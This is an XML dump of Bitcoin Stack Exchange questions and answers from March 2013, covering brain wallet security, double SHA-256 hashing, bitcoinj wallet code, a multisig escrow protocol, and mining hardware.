  <row Id="8448" PostTypeId="1" CreationDate="2013-03-17T22:07:34.040" Score="1" ViewCount="194" Body="&lt;p&gt;Ok here is the thing I lost coins on this computer trying to send them to my laptop this is what it said&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Status: 0/unconfirmed&#xA;Date: 2/6/2013 14:53&#xA;To: 1PrM4QW3UtkGhi1uXFjvtDhn3h3x3pMipn&#xA;Debit: -3.98&#xA;Net amount: -3.98&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I reverse it or stop it its been over a month and I cant seem to find how to do it.&lt;/p&gt;&#xA;" OwnerUserId="3399" LastEditorUserId="2306" LastEditDate="2013-03-17T22:52:56.347" LastActivityDate="2013-03-18T07:27:16.960" Title="How do I reverse a transaction?" Tags="|transactions|address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8449" PostTypeId="1" AcceptedAnswerId="42061" CreationDate="2013-03-17T23:51:30.823" Score="15" ViewCount="4730" Body="&lt;p&gt;Edit: The answer is that they are unsafe and &lt;a href=&quot;http://arstechnica.com/security/2016/02/password-cracking-attacks-on-bitcoin-wallets-net-103000/&quot; rel=&quot;noreferrer&quot;&gt;have been attacked&lt;/a&gt;. Please don't use them!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brain wallets can be created with a (minimum 15 character) pass phrase at &lt;a href=&quot;https://www.bitaddress.org&quot; rel=&quot;noreferrer&quot;&gt;https://www.bitaddress.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no warnings given on the site about the safety of this. How secure are brain wallets?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/19rnge/security_test_hack_my_brain_wallets_with_simple/&quot; rel=&quot;noreferrer&quot;&gt;A recent contest&lt;/a&gt; provided 5 bitcoin (receiving) addresses generated with a brain wallet pass phrase, with each address holding 1BTC as a prize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The challenger did give some hints along the way, but within 7 hours, the first prize was taken, and after around 18 days, all of them were taken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The author of the blog summarises that brain wallets are generally safe, but is this really the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a well indexed database of the existing Bitcoin addresses that hold a positive balance and a well-tuned script for trying out likely pass phrases, surely there's some quite long phrases that would still be easy to guess?&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2016-02-15T19:15:01.887" LastActivityDate="2019-02-25T05:27:33.690" Title="How safe is a brain wallet?" Tags="|security|brain-wallet|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8450" PostTypeId="2" ParentId="8449" CreationDate="2013-03-18T00:27:50.077" Score="3" Body="&lt;p&gt;If anything, then the contest just proved that brainwallets is more secure than one would think. After a few hours the &quot;&lt;a href=&quot;https://en.wikipedia.org/wiki/Lorem_ipsum&quot; rel=&quot;nofollow noreferrer&quot;&gt;lorem ipsum dolor sit amet&lt;/a&gt;&quot; address was &quot;cracked&quot;, after two weeks the rest wasn't cracked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The author of the contest (linjaaho) gave A LOT of hints, but even though that, it took around two days for the rest of the addresses to be cracked (and seriously 4 * &quot;fuck&quot;, 3 * &quot;testing&quot;, 3 * &quot;aurinko&quot; (sun), 3 * &quot;goatse&quot; is very easy passwords especially for someone knowing the hints).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in the end, I would say that the contest just showed that brainwallets is way more safe that I would have thought. However, if you use a weak password then of course it would be better to use random. Also note that the default behaviour of bitcoin-qt (send charge to a new address) has some privacy and security advantages: &lt;a href=&quot;https://bitcoin.stackexchange.com/a/8192/2785&quot;&gt;https://bitcoin.stackexchange.com/a/8192/2785&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2785" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-03-18T00:27:50.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8451" PostTypeId="2" ParentId="8449" CreationDate="2013-03-18T00:37:08.623" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;There are no warnings given on the site about the safety of this. How secure are brain wallets?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As secure as you make them, in my opinion. Let's say you use all 92 characters in your password, and it's 30 letters long. That gives you an entropy of 92^30, or 195 bits. It would take more energy than can possibly be produced on earth to brute force it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://crypto.stackexchange.com/a/1160&quot;&gt;https://crypto.stackexchange.com/a/1160&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;These numbers have nothing to do with the technology of the devices; they are the maximums that thermodynamics will allow. And they strongly imply that brute-force attacks against 256-bit keys will be infeasible until computers are built from something other than matter and occupy something other than space.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Of course, there are probably side-channel attacks against it. However, I don't know enough about the implementation he's using to say.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With a well indexed database of the existing Bitcoin addresses that hold a positive balance&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You don't need one. You just need a bloom filter with every bitcoin address ever seen in the blockchain, which can actually fit in 50 MB or so.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2013-03-18T00:37:08.623" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8453" PostTypeId="2" ParentId="8386" CreationDate="2013-03-18T02:38:31.083" Score="3" Body="&lt;p&gt;See the &lt;a href=&quot;https://en.bitcoin.it/wiki/Hardfork_Wishlist&quot; rel=&quot;nofollow&quot;&gt;hardfork wishlist&lt;/a&gt; on the Bitcoin wiki.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-03-18T02:38:31.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8455" PostTypeId="1" CreationDate="2013-03-18T04:53:32.953" Score="1" ViewCount="235" Body="&lt;p&gt;What is a brief summary of some good ways of promoting a Bitcoin related service? This could include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin Service Directories&lt;/li&gt;&#xA;&lt;li&gt;Forums&lt;/li&gt;&#xA;&lt;li&gt;Advertising&lt;/li&gt;&#xA;&lt;li&gt;Mailing Lists&lt;/li&gt;&#xA;&lt;li&gt;???&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The target audience is people who have bitcoin and know how to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid this question being too broad and requiring answers that are too long, I suggest keeping any summary of each item brief.&lt;/p&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="516" LastEditDate="2017-10-14T08:42:09.113" LastActivityDate="2019-11-09T05:16:58.720" Title="What are some good ways of marketing a Bitcoin related service to Bitcoin users?" Tags="|services|business|marketing|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8456" PostTypeId="1" CreationDate="2013-03-18T04:58:28.957" Score="0" ViewCount="1427" Body="&lt;p&gt;Could mining calculations be used to crack private key, in addition to mining for checking against few million accounts with positive balances? If that possible, at the current mining rate (30TH/s) network can check 1.8 x 10^16 hashes every 10 mins (per block). May be few (&amp;lt;10) of these could be a lucky guess for the corresponding private key, in a year.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="5406" LastEditDate="2016-02-21T09:25:40.360" LastActivityDate="2016-02-21T09:25:40.360" Title="Could mining calculations be used to crack private key?" Tags="|security|cryptography|weaknesses|" AnswerCount="1" CommentCount="0" ClosedDate="2013-03-18T06:28:35.350" ContentLicense="CC BY-SA 3.0" />
  <row Id="8457" PostTypeId="2" ParentId="8456" CreationDate="2013-03-18T05:04:58.413" Score="0" Body="&lt;p&gt;No.  The math involved in cracking a private key uses a completely different set of mathematics and source data.  There is no benefit in reusing one for the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a conspiracy theory going around about the SHA hashes being a big rainbow table for &quot;The Russians&quot; but that crackpot theory has no basis in mathematics or applied usage.  I hope people keep talking about it so I can buy BTC while they are still cheap.  FUD (Fear, uncertainty, doubt) are good to keep BTC's price low while before the market value becomes what it should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more specific, SHA hashing (mining) is a different set of math used for the ECDSA secp256k1 encryption that in the private key.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that ASICs are used, it's impossible to dynamically re-wire the hardware for such a purpose.  In theory FPGA can be reprogrammed for this, and so can GPU/CPUs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could keep all your BTC in one address, or you could diversify your risk by keeping BTC in many different accounts (addresses) knowing full well that this will increase your transaction size and therefore your transaction fee.  The choice (to some extent) is yours&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-03-18T05:10:36.510" LastActivityDate="2013-03-18T05:10:36.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8458" PostTypeId="2" ParentId="8455" CreationDate="2013-03-18T05:16:27.663" Score="0" Body="&lt;p&gt;There are few types of Bitcoin marketing off the top of my head&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;People who have Bitcoin and know how to use it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;People who heard of Bitcoin (in Forbes etc) and are afraid of it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;People who hear of Bitcoin (also in Forbes etc) and love it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;People who don't know Bitcoin but either { Like investment | gambling | Technology | financial theory }&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Your question is too broad, so you will need to narrow down who your target audience.  Please revise your question, or else people on this site (potentially myself included) will vote to close the question as being &quot;too broad&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(though I hope the closers give you time to read and update your question)&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-03-18T05:16:27.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8459" PostTypeId="2" ParentId="7702" CreationDate="2013-03-18T06:04:11.607" Score="3" Body="&lt;p&gt;There are a few approaches you can take as of 3/18/13&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You can either be interested in the low-cost learning of the protocol and related technologies&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can invest in equipment related to mining&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can invest in BTC directly, exchanging cash for the few Bitcoins that are available.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Just be sure to expect that up front, any of the latter two choices are a gamble.  The knowledge you gain is something you can keep with you as the technology matures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll touch on a few of your points:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I want to be a miner&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Mining&quot; for coins is not always a profitable situation.  It depends on the hardware you use, and often time who you team up with in a pool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ABOUT THE HARDWARE:  CPU's and GPUs have been replaced by FPGAs by normal miners.  If you want to achieve more than 0.000x BTC then you need to invest in an FPGA, and soon, an ASIC chip for mining.  Your new video card doesn't have to go to waste, you can partipate in the vanitygen pool, or the litcoin generation pool.  Note that litecoin is a way of diversifying your risk in cryptocurrency and doesn't mean it will achieve the greatness of Bitcoin production coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ABOUT THE POOL: Each pool will allow you to even out your earnings over time.  &lt;a href=&quot;https://bitcoin.stackexchange.com/users/575/meni-rosenfeld&quot;&gt;@Meni&lt;/a&gt; has written a very nice whitepaper on the subject.  If you're new to Bitcoin, read all his posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I want to make my own pool&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an interesting subject since I also wanted to do the same thing.  It turns out that the math and &quot;hackability&quot; of a pool isn't straightforward and that it's entirely possible you can go bankrupt running one (or whatever you invest).  Make sure you protect yourself from PPS pools of you run one.  I think as of now the safest is &quot;double geometric&quot; for both the operator and the client.  Look up @Meni's whitepaper for more info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I want to just learn the technology&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The very uninitiated can run &quot;bitcoind&quot; from their computer with the parameter &lt;code&gt;gen=1&lt;/code&gt; set so it uses CPU to hash.  This is only viable on the &quot;test network&quot; where coins have no value.  To learn this way, simply run Bitcoind with -gen=1 and -testnet set at the command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand if you want to programmatically do the steps you listed, I suggest you read the source code of some of the python or C++ clients available.  It may be a good idea to have your question list the languages that you're familiar with since the code your looking for may have already be written, or even optimized with low level optimizations in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I want to invest&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few ways to purchase BTC. Namely MtGox and Coinlab are the top two leading trading sites.  I suggest looking at the purchase requirements there to buy coins at the best price.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-03-18T06:04:11.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8460" PostTypeId="2" ParentId="8448" CreationDate="2013-03-18T07:27:16.960" Score="2" Body="&lt;p&gt;You didn't lose them, they were successfully sent. You can see the confirmed transaction &lt;a href=&quot;http://blockexplorer.com/tx/23019a829c1f45f59b8ee2aaf62de3e02b8adbae1be83fc5ca1de07b4214d5f9&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, included in block 219,976.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, the recipient &lt;a href=&quot;http://blockexplorer.com/tx/8ebc8838ca450deacee790dfbe3e3346b934f1aa930735a04e13024e03d96f87#i26575581&quot; rel=&quot;nofollow&quot;&gt;spent them&lt;/a&gt; (sending them to 1ESTZpJUkqSQDkjyQHYAFecasEykhFWmMj) about 9 hours later.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-03-18T07:27:16.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8461" PostTypeId="2" ParentId="8443" CreationDate="2013-03-18T08:51:38.157" Score="23" Body="&lt;p&gt;Bitcoin uses double hashing almost everywhere it hashes in one of two variants:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;RIPEMD160(SHA256(x)) called Hash160 which produces a 160 bit output&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;hashing the public key to generate part of a Bitcoin addresses&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;SHA256(SHA256(x)) called Hash256 which produces a 256 bit output&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;generating the checksum in a Bitcoin address&lt;/li&gt;&#xA;&lt;li&gt;hashing the block in a merkle tree&lt;/li&gt;&#xA;&lt;li&gt;linking transaction outputs and inputs&lt;/li&gt;&#xA;&lt;li&gt;hash of the block header (and thus the proof of work and the link to the previous block)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It seems like Satoshi chose Hash256 whenever collisions are a problem, and Hash160 when only (multi target) second pre-images matter. This is consistent with a goal of achieving 128 bits of security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need a 2*n bit hash to achieve n bit collision resistance, and you need a t*n bit hash to achieve n bit second pre-image resistance. If we assume a conservative 4 billion targets, and a 128 bit security level, this leads to 256 bit hashes for collision resistance and 160 bit hashes for multi-target second-preimages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why does he hash twice? I suspect it's in order to prevent length-extension attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SHA-2, like all Merkle-Damgard hashes suffers from a property called &quot;length-extension&quot;. This allows an attacker who knows H(x) to calculate H(x||y) without knowing x. This is usually not a problem, but there are some uses where it totally breaks the security. The most relevant example is using H(k||m) as MAC, where an attacker can easily calculate a MAC for m||m'. I don't think Bitcoin ever uses hashes in a way that would suffer from length extensions, but I guess Satoshi went with the safe choice of preventing it everywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid this property, Ferguson and Schneier suggested using SHA256d = SHA256(SHA256(x)) which avoids length-extension attacks. This construction has some minor weaknesses (not relevant to bitcoin), so I wouldn't recommend it for new protocols, and would use HMAC with constant key, or truncated SHA512 instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some related reading:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://crypto.stackexchange.com/questions/779/hashing-or-encrypting-twice-to-increase-security&quot;&gt;Hashing or encrypting twice to increase security?&lt;/a&gt; on crypto.SE&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=45456.0&quot; rel=&quot;noreferrer&quot;&gt;Cryptographic reasoning for double-hash?&lt;/a&gt; on bitcointalk&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="940" LastEditorUserId="85746" LastEditDate="2018-07-29T21:49:32.210" LastActivityDate="2018-07-29T21:49:32.210" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="8463" PostTypeId="1" AcceptedAnswerId="8466" CreationDate="2013-03-18T11:47:08.073" Score="0" ViewCount="512" Body="&lt;p&gt;I try to open the bitcoin-qt wallet with bitcoinj, I write this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private static final File WALLET_FILE = new File(&quot;C:\\Users\\Bapt\\AppData\\Roaming\\Bitcoin\\wallet.dat&quot;);&#xA;&#xA;public static void main(String[] args) {&#xA;    NetworkParameters networkParameters = NetworkParameters.prodNet();&#xA;&#xA;    Wallet wallet;&#xA;    try {&#xA;        wallet = Wallet.loadFromFile(WALLET_FILE);&#xA;    } catch (IOException e) {&#xA;        System.out.println(&quot;Couldn't open wallet: &quot; + e);&#xA;        return;&#xA;    }&#xA;&#xA;    System.out.println(&quot;Balance: &quot; + wallet.getBalance());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I have an error: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Couldn't open wallet: com.google.protobuf.InvalidProtocolBufferException: Protocol message contained an invalid tag (zero).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I have two questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is is possible to do what I want ?&lt;/li&gt;&#xA;&lt;li&gt;If yes, what do you think could happen here ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks for your answer.&lt;/p&gt;&#xA;" OwnerUserId="3408" LastActivityDate="2013-03-18T13:04:33.580" Title="Open bitcoin-qt wallet with bitcoinj" Tags="|bitcoin-core|bitcoinj|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8464" PostTypeId="1" CreationDate="2013-03-18T11:50:34.443" Score="9" ViewCount="358" Body="&lt;p&gt;&lt;strong&gt;Alice&lt;/strong&gt; wants &lt;strong&gt;Bob&lt;/strong&gt; to transfer 10btc to &lt;strong&gt;Carol&lt;/strong&gt;, and is willing to pay &lt;strong&gt;Bob&lt;/strong&gt; 11btc for the transfer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They both entrust &lt;strong&gt;Trent&lt;/strong&gt; to mediate the transaction, and &lt;strong&gt;Alice&lt;/strong&gt; is willing to pay &lt;strong&gt;Trent&lt;/strong&gt; 1btc as commission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the correct and most secure protocol for performing this contract?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: does the following protocol make sense?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Alice&lt;/strong&gt; broadcasts a transaction (&lt;em&gt;Tx1&lt;/em&gt;) with 2 outputs:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;11btc with an output script specifying 2-of-3 multi-signature verification, specifying &lt;strong&gt;Alice&lt;/strong&gt;, &lt;strong&gt;Bob&lt;/strong&gt; and &lt;strong&gt;Trent&lt;/strong&gt; as recipients&lt;/li&gt;&#xA;&lt;li&gt;1btc to &lt;strong&gt;Trent&lt;/strong&gt; (commission)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Bob&lt;/strong&gt; verifies &lt;strong&gt;Alice&lt;/strong&gt;'s transaction:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Verified:&lt;/em&gt; &lt;strong&gt;Bob&lt;/strong&gt; broadcasts a transaction (&lt;em&gt;Tx2&lt;/em&gt;) sending &lt;strong&gt;Trent&lt;/strong&gt; 10btc&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Rollback&lt;/em&gt; - &lt;strong&gt;Bob&lt;/strong&gt; is unsatisfied or fails to transfer the funds to &lt;strong&gt;Trent&lt;/strong&gt;: &lt;strong&gt;Trent&lt;/strong&gt; broadcasts a transaction (&lt;em&gt;Tx3&lt;/em&gt;) sending &lt;strong&gt;Alice&lt;/strong&gt; her 11btc back, specifying &lt;em&gt;Tx1&lt;/em&gt;'s first output as an input and signs the input. When &lt;strong&gt;Alice&lt;/strong&gt; wants to spend &lt;em&gt;Tx3&lt;/em&gt;, adding her signature to the input satisfies the 2-of-3 requirement (and the process stops here)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Trent&lt;/strong&gt; broadcasts a transaction (&lt;em&gt;Tx4&lt;/em&gt;) sending &lt;strong&gt;Bob&lt;/strong&gt; the 11btc, specifying &lt;em&gt;Tx1&lt;/em&gt;'s first output as an input. When &lt;strong&gt;Bob&lt;/strong&gt; wants to spend &lt;em&gt;Tx4&lt;/em&gt;, adding his signature to the input satisfies the 2-of-3 requirement&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Trent&lt;/strong&gt; broadcasts a transaction (&lt;em&gt;Tx5&lt;/em&gt;) sending &lt;strong&gt;Carol&lt;/strong&gt; 10btc, specifying &lt;em&gt;Tx2&lt;/em&gt; as an input&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3292" LastEditorUserId="3292" LastEditDate="2013-03-18T23:22:55.320" LastActivityDate="2016-10-20T01:28:49.833" Title="Mediated transfer of funds between three parties" Tags="|transactions|trust|multi-signature|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8465" PostTypeId="2" ParentId="8424" CreationDate="2013-03-18T12:18:21.203" Score="4" Body="&lt;p&gt;Mtgox uses a multi currency trading engine that matches trades between the different currency pairs. All trades are drawn from the one pool. Trades in one currency are matched against trades in another currency using ECB exchange rates, and tacking on a 2.5% fee. See Mtgox FAQ for further info: &lt;a href=&quot;https://support.mtgox.com/entries/20800336-Multi-Currency-Trading&quot; rel=&quot;nofollow&quot;&gt;https://support.mtgox.com/entries/20800336-Multi-Currency-Trading&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="3409" LastActivityDate="2013-03-18T12:18:21.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8466" PostTypeId="2" ParentId="8463" CreationDate="2013-03-18T13:04:33.580" Score="2" Body="&lt;p&gt;BitcoinJ has its own wallet format, and official bitcoin client its own.&lt;/p&gt;&#xA;" OwnerUserId="859" LastActivityDate="2013-03-18T13:04:33.580" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8467" PostTypeId="1" CreationDate="2013-03-18T13:08:34.613" Score="2" ViewCount="604" Body="&lt;p&gt;I know of Avalon and Butterfly Labs, but they aren't currently shipping. Does anyone know where, if anywhere it is possible to order and receive shipment before the year's out?&lt;/p&gt;&#xA;" OwnerUserId="2650" LastEditorUserId="2306" LastEditDate="2017-04-25T19:58:56.187" LastActivityDate="2017-04-25T19:58:56.187" Title="Where is it possible to buy an ASIC?" Tags="|transactions|mining-hardware|asic|payment|butterfly-labs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8469" PostTypeId="1" AcceptedAnswerId="8474" CreationDate="2013-03-18T14:07:57.647" Score="1" ViewCount="1013" Body="&lt;p&gt;I am a real noob with bitcoin and bitcoin. I have a lot of questions and I don't know where to start. Let me try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a bitcoin-qt client and I downloaded the chain (took me one day) and now I am playing with bitcoinj.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can I use the block chain downloaded with bitcoin-qt with bitcoinj ? If yes how ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I created a wallet with bitcoinj client and I get the adress inside it and send money from my bitcoin-qt client to this address.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do I need to download the block chain to receive this btc ? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is this code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// We want to know when the balance changes.&#xA;wallet.addEventListener(new AbstractWalletEventListener() {&#xA;    public void onCoinsReceived(Wallet w, Transaction tx, BigInteger prevBalance, BigInteger newBalance) {&#xA;        // Running on a peer thread.&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do this code need the block chain ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks for your answers and the help.&lt;/p&gt;&#xA;" OwnerUserId="3408" LastActivityDate="2013-03-18T16:33:41.203" Title="How to receive transaction in bitcoinj wallet" Tags="|blockchain|wallet|bitcoin-core|bitcoinj|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8470" PostTypeId="2" ParentId="8455" CreationDate="2013-03-18T14:27:40.977" Score="1" Body="&lt;p&gt;The folks at bitcoin.it run a moderated listing, &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Trade&lt;/a&gt;, which you can list at.  Another way is to work directly on reddit (r/bitcoin) and &lt;a href=&quot;http://www.bitcointalk.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcointalk.org/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3410" LastActivityDate="2013-03-18T14:27:40.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8471" PostTypeId="2" ParentId="8467" CreationDate="2013-03-18T14:30:45.527" Score="1" Body="&lt;p&gt;So far as I know, those two are the most advanced, and your best bet is going to be placing an order and waiting for it to ship.  Sadly, as I have one on order and am waiting impatiently.&lt;/p&gt;&#xA;" OwnerUserId="3410" LastActivityDate="2013-03-18T14:30:45.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8472" PostTypeId="2" ParentId="8464" CreationDate="2013-03-18T14:33:37.753" Score="-1" Body="&lt;p&gt;There is BTCrow (&lt;a href=&quot;http://btcrow.com/&quot; rel=&quot;nofollow&quot;&gt;http://btcrow.com/&lt;/a&gt;) and ThruCoin (&lt;a href=&quot;http://thrucoin.com/create&quot; rel=&quot;nofollow&quot;&gt;http://thrucoin.com/create&lt;/a&gt;), which both look like they will perform the services you need.&lt;/p&gt;&#xA;" OwnerUserId="3410" LastActivityDate="2013-03-18T14:33:37.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8473" PostTypeId="1" CreationDate="2013-03-18T15:24:02.330" Score="1" ViewCount="2186" Body="&lt;p&gt;On the Coinotron, multi-currency pool website, there is a metric posted at the top-right of each page that displays how &quot;profitable&quot; it is to mine a specific currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does Coinotron derive this value?&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="5406" LastEditDate="2016-02-21T09:23:25.737" LastActivityDate="2016-02-21T09:23:25.737" Title="How is 'profitability' calculated on Coinotron?" Tags="|altcoin|alternatives|mining-profitability|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
